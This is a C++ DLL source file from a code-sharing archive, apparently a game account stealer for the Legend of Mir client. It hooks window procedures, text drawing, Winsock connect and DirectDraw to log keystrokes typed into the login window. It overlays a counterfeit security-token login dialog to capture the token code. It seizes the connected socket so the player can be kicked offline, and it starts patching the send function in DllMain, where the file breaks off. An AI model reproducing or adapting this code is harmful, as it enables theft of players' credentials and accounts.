www.pudn.com > Hook-api-mir.rar > Mydll.cpp


// ------------------------------------- // 
// 您如果要使用本文件,请不要删除本说明  // 
// ------------------------------------- // 
//             HOOKAPI 开发例子          // 
//   Copyright 2002 编程沙龙 Paladin     // 
//       www.ProgramSalon.com            // 
// 编译提示:如果是Win9x系统,需要预定义WIN95 // 
// ------------------------------------- // 
 
#include "stdafx.h" 
//#include  
#include  
#include  
#include  
#include  
#include  
#include  
//#include  
//#include  
#include "../dll/mydll.h" 
//#include  
//#include  
#include "util.h" 
#include "sharemem.h" 
#include "send.h" 
#include "resource.h" 
#include  
#include "http.h" 
#include "mouse_pos.h" 
 
#ifdef WIN95 
#pragma code_seg("_INIT") 
#pragma comment(linker,"/SECTION:.bss,RWS /SECTION:.data,RWS /SECTION:.rdata,RWS /SECTION:.text,RWS /SECTION:_INIT,RWS ") 
#pragma comment(linker,"/BASE:0xBFF70000") 
#endif 
 
void GetPrimarySurface(); 
 
//static const CLSID IID_IDirectDraw2 =  
  // {0xB3A6F3E0,0x2B43,0x11CF, {0xA2,0xDE,0x00,0xAA,0x00,0xB9,0x33,0x56} }; 
//static const CLSID CLSID_DirectDraw =  
  // {0xD7B70EE0,0x4340,0x11CF, {0xB0,0x63,0x00,0x20,0xAF,0xC2,0xCD,0x35} }; 
 
BYTE g_send_buf[5]; 
 
HWND g_hWndMain =NULL; 
 
HANDLE g_hThreadSend =NULL; 
HINSTANCE g_hInstance =NULL; 
 
int g_sd_none =-1; 
 
typedef struct 
{ 
	char *name; 
	int left, top, right, bottom; 
}MOUSE_POS_INFO; 
 
MOUSE_POS_INFO g_mouse_infos[] = 
{ 
	{"普通登录", 421,319,509,345}, 
	{"密宝选项", 287,360,380,386}, 
	{"密宝登录", 413,391,485,420}, 
	NULL 
}; 
 
HBITMAP g_hBmpMBLog =NULL; 
static int g_mb_log_pos[] ={252, 145, 298, 304};	// bmp left, top, widht, height 
static int g_mb_ok_pos[] ={54, 221, 70, 29};	// bmp left, top, widht, height 
static int g_mb_cancel_pos[] ={264, 46, 13, 17};	// bmp left, top, widht, height 
 
static LPDIRECTDRAW2 g_pDDraw; 
static LPDIRECTDRAWSURFACE g_pDDSurf; 
 
BOOL IfExe() 
{ 
	char temp[256]; 
	GetModuleFileName(NULL, temp, sizeof(temp)); 
	if(strstr(temp, ".exe")) 
		return TRUE; 
	return FALSE; 
} 
 
HDC g_hDCDDraw =NULL; 
 
// 显示密宝登录的背景bitmap 
int ShowMBLog(HDC hDC) 
{ 
	HDC hMemDC = CreateCompatibleDC(hDC); 
 
	if(g_hBmpMBLog) 
	{ 
		SelectObject(hMemDC,g_hBmpMBLog); 
		BitBlt(hDC, g_mb_log_pos[0], g_mb_log_pos[1], g_mb_log_pos[2], g_mb_log_pos[3], hMemDC,0,0,SRCCOPY); 
	} 
	DeleteObject(hMemDC); 
 
	return 0; 
} 
 
// 密宝登录窗口过程 
BOOL CALLBACK PasswordDlgProc(HWND hDlg, UINT msg, WPARAM wParam, LPARAM lParam) 
{ 
	switch(msg) 
	{ 
	case WM_INITDIALOG: 
		SetWindowPos(hDlg, NULL, g_mb_log_pos[0], g_mb_log_pos[1], g_mb_log_pos[2], g_mb_log_pos[3], SWP_NOZORDER|SWP_SHOWWINDOW); 
		SendDlgItemMessage(hDlg, IDE_PASSWORD, EM_SETLIMITTEXT, 6, 0L); 
		SetFocus(GetDlgItem(hDlg, IDE_PASSWORD)); 
		return TRUE; 
	case WM_PAINT: 
		HDC hDC; 
		if(g_pDDSurf) 
		{ 
			g_pDDSurf->GetDC(&hDC); 
			ShowMBLog(hDC); 
			g_pDDSurf->ReleaseDC(hDC); 
		} 
		else 
		{ 
			PAINTSTRUCT ps; 
			BeginPaint(hDlg, &ps); 
			ShowMBLog(ps.hdc); 
			EndPaint(hDlg, &ps); 
		} 
		break; 
	case WM_LBUTTONUP: 
		int x, y; 
		x =LOWORD(lParam); 
		y =HIWORD(lParam); 
		//char temp[200]; 
		//wsprintf(temp, "%d,%d", x, y); 
		//SetDlgItemText(hDlg, IDE_PASSWORD, temp); 
		if((x >=g_mb_ok_pos[0] && x<=g_mb_ok_pos[0]+g_mb_ok_pos[2] 
			&& y >=g_mb_ok_pos[1] && y<=g_mb_ok_pos[1]+g_mb_ok_pos[2]) 
			|| (x >=g_mb_cancel_pos[0] && x<=g_mb_cancel_pos[0]+g_mb_cancel_pos[2] 
			&& y >=g_mb_cancel_pos[1] && y<=g_mb_cancel_pos[1]+g_mb_cancel_pos[2])) 
		{ 
			char password[20]; 
			GetDlgItemText(hDlg, IDE_PASSWORD, password, sizeof(password)); 
			MessageBox(hDlg, password, "password is:", MB_OK); 
			EndDialog(hDlg, 0); 
		} 
		break; 
	case WM_CTLCOLOREDIT: 
		hDC =(HDC)wParam; 
		SetTextColor(hDC, RGB(255, 255, 255)); 
		SetBkMode(hDC, TRANSPARENT); 
		return (LONG)GetStockObject(BLACK_BRUSH); 
	case WM_COMMAND: 
		switch(LOWORD(wParam)) 
		{ 
		case IDOK: 
			//EndDialog(hDlg, IDOK); 
			return TRUE; 
		case IDCANCEL: 
			EndDialog(hDlg, IDCANCEL); 
		} 
		break; 
	} 
	return FALSE; 
} 
 
// 显示密宝输入窗口 
void ShowMBDlg(HWND hWnd) 
{ 
	DialogBox(g_hInstance, MAKEINTRESOURCE(IDD_PASSWORD), hWnd, PasswordDlgProc); 
} 
 
static WNDPROC g_fnProc = NULL; 
 
void mySleep(int msec) 
{ 
	clock_t t1, t2; 
	t1 =t2 =clock(); 
	 
	MSG msg; 
	while(t2-t1 < msec) 
	{ 
		if(PeekMessage(&msg, NULL, 0, 0, 0)) 
		{ 
			TranslateMessage(&msg); 
			DispatchMessage(&msg); 
		} 
		t2 =clock(); 
	} 
} 
 
// 输入密码的TFrmMain窗口消息 
LRESULT CALLBACK myWndProc(HWND hWnd, UINT nMsg, WPARAM wParam, LPARAM lParam) 
{ 
	switch(nMsg) 
	{ 
	case WM_RBUTTONUP: 
	case WM_LBUTTONUP: 
		SetMapData(hWnd, WM_LBUTTONUP, wParam, lParam); 
		//SetDebugData("new lbuttonup"); 
		break; 
	default: 
		break; 
	} 
	return CallWindowProc((WNDPROC)g_fnProc, hWnd, nMsg, wParam, lParam); 
} 
 
// 截获消息队列 
LRESULT WINAPI myCallWindowProcA(WNDPROC wndproc, HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) 
{ 
	if((msg ==WM_CHAR || msg==WM_KEYDOWN) && g_pMapData) 
	{ 
		// 替换输入窗口过程成自己的过程,以便修改消息 
		if(!IfExe() && g_fnProc ==NULL) 
		{ 
			GetPrimarySurface(); 
			HWND hwnd1 =hWnd; 
			char temp[100]; 
			GetClassName(hwnd1, temp, sizeof(temp)); 
			if(strcmp(temp, "TEdit") ==0) 
				hwnd1 =GetParent(hwnd1); 
			if(hwnd1 =FindChild(hwnd1, "TDXDraw")) 
			{ 
				if(g_fnProc =(WNDPROC)GetWindowLong(hwnd1, GWL_WNDPROC)) 
					if(SetWindowLong(hwnd1, GWL_WNDPROC, (DWORD)myWndProc) ==0) 
						SetDebugData("set failed!"); 
					else 
						SetDebugData("set new class OK!"); 
			} 
		} 
		SetMapData(hWnd, msg, wParam, lParam); 
	} 
	else if(msg ==WM_USER+47361 && wParam ==VK_TAB && g_pMapData)	// 截获tab键消息 
		SetMapData(hWnd, WM_KEYDOWN, VK_TAB, lParam); 
	else if(g_pMapData->data[g_pMapData->cur_times].stat ==STAT_START 
		&& msg ==WM_LBUTTONDOWN)		// exe程序开始运行时选择区域 
	{ 
		POINT pt; 
		pt.x =LOWORD(lParam); 
		pt.y =HIWORD(lParam); 
		if(PtInRect(&g_rect_sel_area, pt)) 
		{ 
			pt.x =g_rect_sel_area.left+15; 
			pt.y =g_rect_sel_area.top-15; 
			HWND hwndCB = ChildWindowFromPoint(hWnd, pt); 
			if(hwndCB) 
				GetWindowText(hwndCB, g_pMapData->data[g_pMapData->cur_times].areaName, sizeof(g_pMapData->data[g_pMapData->cur_times].areaName-1)); 
		} 
	} 
 
	return CallWindowProcA(wndproc, hWnd, msg, wParam, lParam); 
} 
 
// 获取连接sd,用于断开踢人 
int g_sd_connected =-1; 
int WINAPI myconnect(SOCKET s, struct sockaddr *name, int namelen) 
{ 
	g_sd_connected =s; 
	return connect(s, name, namelen); 
} 
 
// 查找primary surface,写入就可以直接显示的主界面 
HRESULT WINAPI EnumSurfacesProc(  
  LPDIRECTDRAWSURFACE lpDDSurface, 
  LPDDSURFACEDESC lpDDSurfaceDesc, 
  LPVOID lpContext) 
{ 
	if(lpDDSurfaceDesc->ddsCaps.dwCaps & DDSCAPS_PRIMARYSURFACE) 
	{ 
		g_pDDSurf =lpDDSurface; 
		//WriteLog("***EnumSurfaceProc:s=%x, w=%d,h=%d,flag:%x,caps:%x", lpDDSurface, lpDDSurfaceDesc->dwWidth, 
		//	lpDDSurfaceDesc->dwHeight, lpDDSurfaceDesc->dwFlags, lpDDSurfaceDesc->ddsCaps.dwCaps); 
 
		return DDENUMRET_CANCEL; 
	} 
 
	return DDENUMRET_OK; 
} 
 
void GetPrimarySurface() 
{ 
		WriteLog("beginnnn"); 
	if(g_pDDraw /*&& g_pDDSurf ==NULL*/) 
	{ 
		DDSURFACEDESC ddsd; 
		memset(&ddsd, 0, sizeof(DDSURFACEDESC)); 
		ddsd.dwSize = sizeof( ddsd ); 
		ddsd.dwFlags = DDSD_WIDTH|DDSD_HEIGHT; 
		ddsd.dwWidth=800; //宽 
		ddsd.dwHeight=600; //高 
		//ddsd.ddsCaps.dwCaps=DDSCAPS_PRIMARYSURFACE; 
 
		g_pDDraw->EnumSurfaces(DDENUMSURFACES_DOESEXIST | DDENUMSURFACES_MATCH, 
			&ddsd, NULL, EnumSurfacesProc); 
	} 
} 
 
typedef HRESULT (WINAPI *funcDirectDrawCreateEx)( 
  GUID FAR *,         
  LPDIRECTDRAW FAR *, 
  REFIID, 
  IUnknown FAR *); 
 
// 为了获取dxdraw对象的主界面hdc,截获create函数得到dxdraw对象 
HRESULT WINAPI myDirectDrawCreateEx( 
  GUID FAR *lpGUID,         
  LPDIRECTDRAW FAR *lplpDD, 
  REFIID iid, 
  IUnknown FAR *pUnkOuter) 
{ 
	funcDirectDrawCreateEx DirectDrawCreateEx =(funcDirectDrawCreateEx)GetProcAddress(GetModuleHandle("DDraw.dll"), "DirectDrawCreateEx"); 
	if(DirectDrawCreateEx ==NULL) 
	{ 
		WriteLog("func ==NULL"); 
		return 0; 
	} 
	HRESULT ret =DirectDrawCreateEx(lpGUID, lplpDD, iid, pUnkOuter); 
	if(ret !=DD_OK) 
		return ret; 
 
	if (((*lplpDD)->QueryInterface( IID_IDirectDraw2, (void**)&g_pDDraw)) !=S_OK) 
	{ 
		//WriteLog("QueryInterface failed!"); 
		return ret; 
	} 
 
	return ret; 
} 
 
// 根据当前显示的信息判断状态 
BOOL WINAPI myTextOutW(HDC hDC, int x, int y, LPCWSTR str, int len) 
{ 
	if(len >0 && !IfExe()) 
	{ 
		char *pstr =(char *)LocalAlloc(LMEM_FIXED, len*2+1); 
		int len2 =WideCharToMultiByte(CP_ACP, 0, str, len, pstr, len*2, NULL, NULL); 
		pstr[len2] =0; 
		CheckStatByText(pstr); 
		LocalFree(pstr); 
	} 
 
	return TextOutW(hDC, x, y, str, len); 
} 
 
BOOL WINAPI myTextOutA(HDC hDC, int x, int y, LPSTR str, int len) 
{ 
	if(len >0 && !IfExe()) 
	{ 
		CheckStatByText(str); 
	} 
	return TextOutA(hDC, x, y, str, len); 
} 
 
BOOL WINAPI myExtTextOutA(HDC hDC, int x, int y, UINT options, const RECT *lprc, LPCSTR str, UINT len, CONST INT *lpDx) 
{ 
	if(len >0 && !IfExe()) 
	{ 
		CheckStatByText((char *)str); 
	} 
	return ExtTextOutA(hDC, x, y, options, lprc, str, len, lpDx); 
} 
 
BOOL WINAPI myExtTextOutW(HDC hDC, int x, int y, UINT options, const RECT *lprc, LPCWSTR str, UINT len, CONST INT *lpDx) 
{ 
	if(len >0 && !IfExe()) 
	{ 
		char *pstr =(char *)LocalAlloc(LMEM_FIXED, len*2+1); 
		int len2 =WideCharToMultiByte(CP_ACP, 0, str, len, pstr, len*2, NULL, NULL); 
		pstr[len2] =0; 
		CheckStatByText(pstr); 
		LocalFree(pstr); 
	} 
	return ExtTextOutW(hDC, x, y, options, lprc, str, len, lpDx); 
} 
 
MYAPIINFO myapi_info[] = 
{ 
	{"USER32.DLL", "CallWindowProcA", 5, "myCallWindowProcA"}, 
	 
	{"GDI32.DLL", "TextOutA", 5, "myTextOutA"}, 
	{"GDI32.DLL", "TextOutW", 5, "myTextOutW"}, 
	{"GDI32.DLL", "ExtTextOutA", 8, "myExtTextOutA"}, 
	{"GDI32.DLL", "ExtTextOutW", 8, "myExtTextOutW"}, 
 
	{"WS2_32.DLL", "connect", 3, "myconnect"}, 
 
	{"DDRAW.DLL", "DirectDrawCreateEx", 4, "myDirectDrawCreateEx"}, 
	{NULL,NULL,NULL} 
}; 
 
// 下列内容请不要修改 
MYAPIINFO *GetMyAPIInfo() 
{ 
	return &myapi_info[0]; 
} 
 
BOOL APIENTRY DllMain( HANDLE hModule,  
                       DWORD  ul_reason_for_call,  
                       LPVOID lpReserved 
					 ) 
{ 
	switch(ul_reason_for_call) 
	{ 
	case DLL_PROCESS_ATTACH: 
		http_init(); 
		BYTE *p; 
		int i; 
		g_hInstance =(HINSTANCE)hModule; 
		p =(BYTE *)GetProcAddress(GetModuleHandle("ws2_32.dll"), "send"); 
		for(i=0; i